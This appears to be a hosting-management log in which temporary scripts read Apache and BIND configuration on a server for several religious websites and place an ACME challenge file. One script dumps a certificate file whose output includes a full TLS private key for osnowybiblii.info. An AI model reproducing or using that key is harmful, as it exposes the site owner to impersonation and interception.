         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-29 16:23:31: 

PUT: /tmp/pkp774957

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/osnowybiblii_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-29 16:23:31: 

chmod 755 /tmp/pkp774957; /tmp/pkp774957; rm /tmp/pkp774957

2026-01-29 16:23:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/osnowybiblii_www_info.conf	1414

<VirtualHost *:80>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_error.log
    SetEnv pkp_uid	53
    SetEnv pkp_owner	osnovy
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	osnowybiblii.info
    ServerAlias	www.osnowybiblii.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt
    DocumentRoot	/var/www/osnowybiblii_www
    <Directory /var/www/osnowybiblii_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/osnowybiblii/www_secure_access.log combined
    ErrorLog	/var/log/apache2/osnowybiblii/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-29 16:23:31: 

PUT: /tmp/pkp359409

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-29 16:23:31: 

chmod 755 /tmp/pkp359409; /tmp/pkp359409; rm /tmp/pkp359409

2026-01-29 16:23:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0e3e734dd08e3f9fefca36cd65718d9b.crt	5382
06:1c:dd:4d:1f:92:44:b8:eb:d3:cf:7a:6d:3d:7a:6d

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBjiutXQwu0thKWSeXW7WCO4tMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTI5MTUyNDU3WhcNMjYwNDI5MTUyNDU2WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKSp4H27V4Xso9ylfIN2qP5ApfzLUElB79fGiLqbkoLvKCFinXx8OAw2XyGy
zgRi0vw8bag3rKkKJcC1WpiZ6NhhfIayXkr2y1rudOg8dT75WQLjYSymZScPRK0v
SHQqzJn8ipAXLLDJhhWtagR/40nyX3R1E2qtMGii2QZuPVH2vPG5+OpNKCqiS4VK
lDk66fvddGfbhvFpo7vVjeNwEK5ZB8o0SMTTj9TiRTp6DTRj1uLxg9UI034Q4LpK
19ylUkCpENqQgaX0w2vhYtt3b/ZE/gM0yr1pbbG/EzYtjc0GgTIlBVu1i1KdhWvO
IXKwmeqTzawvhoeN8hrsvCzk2q8CAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUBlLQhxs3TZ0tkw2zbI0pDE0kbAAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFvc25vd3liaWJsaWkuaW5m
b4IVd3d3Lm9zbm93eWJpYmxpaS5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDYuY3JsMIIB
AwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2
bkakPw/KqcYAAAGcCpEbiQAABAMARzBFAiA1LpGlTJ6zRgBut0yrFnnpNp8j454K
ie7aruKAAT+mEwIhAL8xkw3QhFRYEGRxON4MK61137dq6tzSrgGqOa1EV4QZAHUA
SZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGcCpEjGQAABAMARjBE
AiBICChhhchpjnoSlJxv70+9LWgqk9ldNfH8cb6x5N2sSQIge4TCD7mUqqCZQKCR
kIov2MflYt7T9yQ77806vCCWpSEwDQYJKoZIhvcNAQELBQADggEBANTxNqs8TYzB
k/3LxS5Ju8E0rYSNRdmuV6mIfmHn7SpxT/prIPRnftWhZYoCmT4KRSzmfQ4xHDe3
Z4+Y7MmEyPGLVkb8YvAg+iFIGZWqR8XoT5l+77aGF2M39qSwegkSw7qQH7kbRjpK
oX7VmefoKrIQx3cmx0pfXUpq8LdujmtkOrnhOie7bcMckInvwzljqpnyMdiAiQ4Z
j++DqvuZcjavlDWlKNeFsPORwnZMtrKySTuH8Zi+WjFwyZ0zZ4GcGDpV3PFdGUbn
Hpau+E5wcj5kuGqZLF0oV+JzIlC/EukfkVxJC0d2gGX9PIp6e9C2DwKT9xedqfVe
kjrzf5kn4q8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCkqeB9u1eF7KPc
pXyDdqj+QKX8y1BJQe/Xxoi6m5KC7yghYp18fDgMNl8hss4EYtL8PG2oN6ypCiXA
tVqYmejYYXyGsl5K9sta7nToPHU++VkC42EspmUnD0StL0h0KsyZ/IqQFyywyYYV
rWoEf+NJ8l90dRNqrTBootkGbj1R9rzxufjqTSgqokuFSpQ5Oun73XRn24bxaaO7
1Y3jcBCuWQfKNEjE04/U4kU6eg00Y9bi8YPVCNN+EOC6StfcpVJAqRDakIGl9MNr
4WLbd2/2RP4DNMq9aW2xvxM2LY3NBoEyJQVbtYtSnYVrziFysJnqk82sL4aHjfIa
7Lws5NqvAgMBAAECggEAA+4a2CvL6siU7KPcG4mOGDg6ZGGesldRiyittygWNuvQ
XTBsw9dCWzN2njSvUbZHuBKuwPB7PYAEs9tgPmFfoYwW6PwbrG+RhCnjpNT0k2+a
6t4hQdIpR38uZQr9qem8ZZx8Dif12BsnPFM3dl4H2PCUMkP54tzsjKkxkHa6USXb
NGxA9RSSUGPoLZy4puHbxIIjUMNqz07cKX54xgnPI7rgzFtImzI0KFz07nY9dAkF
BlvRPC8h58LsCiW5bR/bQt1mjR7HSqeqYgWDxKzJ7fD04uGZXchehwcJ3KvF2GXn
krPLJLv3kkDwcozZ8kROYpMueeYydB6IxdrbWC18uQKBgQDkLVOp7GYgCxGa30AJ
exNgcvuRx60tFNH8hOWtAZdpUN53VkXID/QV/d8luCaqDRekytkzajoIXYidnMjk
uoQ+sKlKqXsBaurVwaIwTwWuOKCFwXxjEm50gZHYeCkHgfQLfNiXmdDO69xghdlK
R8fviRW13qL0X7l+l9AfuF3ODQKBgQC4vfEY3Pw+RNgNQwJp8cFfDbFv+vV/z42w
6TErIkyYcvsmGYLq4JoO4DlYXLiLViiSsOIDGmO+cbyiQcfvlxnpDlYFefUxLSrR
d9sSHM0cty4a3XJys6HbmUDSTtpQQcBniLCVFLA3Rn62rHZQY5e+Gu1PLEO/w/ch
6X5qZtcYqwKBgEvwNd7geSCC7on/cL13A3ze55CdxqmxOy1yQUnxtKVtL4zB3pl1
jcNf6UsRXXTMxKiohd7RpJyyHExwKH/O/0Ip4z2g5/oRzjPzrHmtYvOXjvzU5wPF
15LYqGRFoUoJWuIT27WgkFi9MGvDQAyzlPvIQLx1awAvd3mFJtPXtQhlAoGAVb97
77FqtzBXI9itfyVCPu9pI3PVjWx19N5X/xBdgwkjf2yp8oEroKn8lAH9elcUX/oP
/aa7E0NRbfKgbZmx4hXQYZxY7WlsjWtXWJHbtm9jy/5rR8gO4ZHBn5wQAt5yAtxU
Me43WIC1Ae8Mv4VqgkeXTH9cNt8rjycEkTiIsB8CgYA0SprOcAvkBogBCxYQYD9l
IvjSSy5qClCxlNQMJsHmNy1NfbiutTtecLN5SR6KCQzx7ZZnNR+xjNCP3R8YtzMr
FeffhYhpPf9LK6qGlR7uI3A63D2Z2SLO9B6hWZXkAqqWISA4MktlSTh3XjVjKVjz
PDCkD3uF/YYILA7uz8XjZw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-30 06:00:03: Establishing a connection
2026-01-30 06:00:03: Establishing a connection
2026-01-30 06:00:04: 

PUT: /tmp/pkp789613

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-30 06:00:04: 

chmod 755 /tmp/pkp789613; /tmp/pkp789613; rm /tmp/pkp789613

2026-01-30 06:00:04: 


1


2026-01-30 06:00:05: Establishing a connection
2026-01-30 06:00:06: 

PUT: /tmp/pkp710340

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > GR4KpLj1I45VXJp-zzntQf8puDJXNpXObgV3TvktXr8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GR4KpLj1I45VXJp-zzntQf8puDJXNpXObgV3TvktXr8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GR4KpLj1I45VXJp-zzntQf8puDJXNpXObgV3TvktXr8


2026-01-30 06:00:06: 

chmod 755 /tmp/pkp710340; /tmp/pkp710340; rm /tmp/pkp710340

2026-01-30 06:00:06: 




2026-01-30 06:00:07: Establishing a remote connection
2026-01-30 11:14:33: Establishing a connection
2026-01-30 11:15:00: Establishing a connection
2026-01-30 11:15:01: 

PUT: /tmp/pkp498488

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-30 11:15:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp498488; rm /tmp/pkp498488'

2026-01-30 11:15:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
